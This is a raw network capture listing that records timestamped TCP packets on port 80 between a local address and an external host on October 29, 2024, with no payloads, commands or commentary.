Oct 29, 2024 20:35:42.610176086 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.610192060 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.610486031 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.610496998 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.610496998 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.610496998 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.610507965 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.610523939 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.611352921 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.611403942 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.611460924 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.611473083 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.611742020 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.611752987 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.611772060 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.611820936 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.611974955 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.611990929 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.612004042 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.612392902 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.612404108 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.612415075 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.612426996 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.612442970 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.612457037 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.612601995 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.612601995 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.612601995 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.612601995 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.613207102 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.613219023 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.613351107 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.613363981 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.613476038 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.613476038 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.613586903 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.613857031 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.645745039 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.645838976 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.645849943 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.646110058 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.646121025 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.646131039 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.646259069 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.646259069 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.646259069 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.646576881 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.646593094 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.646600008 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.646605968 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.646616936 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.646625042 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.646744967 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.646744967 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.647349119 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.647361040 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.647449017 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.647608995 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.647619009 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.647629976 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.647718906 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.648066998 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.648080111 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.648087025 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.648091078 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.648096085 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.648107052 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.648111105 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.648226976 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.648226976 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.648844004 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.648858070 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.648874044 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.648886919 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.648906946 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.648906946 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.648906946 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.649194956 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.687107086 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.687150002 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.687165976 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.687376022 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.688045025 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.688144922 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.688282967 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.689508915 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.689552069 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.689563036 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.689584970 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.689632893 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.716317892 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.717372894 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.717422009 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.717432976 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.717622995 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.717634916 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.717869043 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.717869043 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.718100071 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.718173027 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.723975897 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.724069118 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.724077940 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.724256992 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.724267960 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.724452019 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.724463940 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.724730968 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.724740028 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.724740028 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.724740028 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.724741936 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.724956989 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.724967957 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.724968910 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.725071907 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.725241899 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.725251913 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.725264072 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.725277901 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.725315094 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.725315094 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.725676060 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.725687981 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.725698948 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.725778103 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.725778103 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.726090908 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.726106882 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.726224899 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.726319075 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.726330042 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.726341963 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.726517916 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.726838112 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.726876020 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.726952076 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.726960897 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.727174044 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.727297068 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.727364063 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.727375031 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.727391005 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.727399111 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.727521896 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.727521896 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.727868080 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.727878094 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.727890015 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.727901936 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.727922916 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.728033066 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.728033066 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.728033066 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.728574038 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.728585958 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.728596926 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.728611946 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.728626013 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.728909016 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.728909016 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.729182959 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.729195118 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.729207039 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.729250908 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.729250908 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.735045910 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.761379004 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.761398077 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.761414051 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.761466980 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.761511087 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.761523008 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.761754036 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.761769056 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.761857986 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.761874914 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.761892080 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.761898994 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.761954069 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.761954069 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.761954069 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.762409925 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.762423992 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.762670994 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.762684107 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.762721062 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.762722015 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.762918949 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.763000965 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.763015032 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.763030052 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.763045073 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.763061047 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.763125896 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.763125896 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.763125896 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.763757944 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.763772011 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.763783932 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.763797998 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.763811111 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.763845921 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.763845921 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.764408112 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.764420033 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.764431953 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.764446974 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.764447927 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.764460087 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.764578104 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.764578104 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.777339935 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.781730890 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.802839041 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.802896976 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.802907944 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.803071976 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.804862022 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.804972887 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.804981947 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.805058956 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.805068016 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.805275917 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.832751989 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.832817078 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.832828999 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.832876921 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.832876921 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.833101988 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.833120108 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.833158970 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.833192110 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.833208084 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.833327055 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.839560032 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.839641094 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.839653015 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.839775085 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.839775085 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.839781046 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.839955091 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.840015888 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.840028048 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.840043068 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.840070963 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.840091944 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.840338945 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.840352058 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.840362072 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.840420008 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.840589046 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.840603113 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.840615988 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.840646982 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.840688944 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.840907097 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.841022968 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.841034889 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.841048956 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.841063023 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.841106892 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.841106892 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.841468096 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.841480017 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.841491938 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.841502905 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.841516018 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.841557980 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.841631889 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.841881037 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.843084097 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.843137980 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.843153000 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.843164921 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.843305111 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.843336105 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.843364954 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.843379974 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.843386889 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.843409061 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.843477964 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.843832016 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.843843937 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.843854904 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.843867064 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.843909025 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.843909025 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.844248056 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.844259024 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.844270945 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.844284058 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.844357014 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.844357014 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.844690084 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.844701052 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.844715118 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.844724894 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.844788074 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.844788074 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.845048904 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.845062017 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.845073938 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.845139027 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.876631021 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.876734972 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.876745939 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.876885891 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.876885891 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.876940966 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.876956940 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.876969099 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.877026081 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.877291918 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.877310991 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.877325058 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.877361059 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.877361059 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.877692938 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.877703905 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.877715111 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.877758980 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.877959013 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.877974987 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.878042936 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.878282070 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.878295898 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.878308058 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.878324986 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.878338099 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.878351927 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.878642082 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.878642082 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.878642082 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.879017115 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.879029036 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.879040956 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.879055023 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.879067898 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.879082918 CET	80	49873	185.215.113.16	192.168.2.7
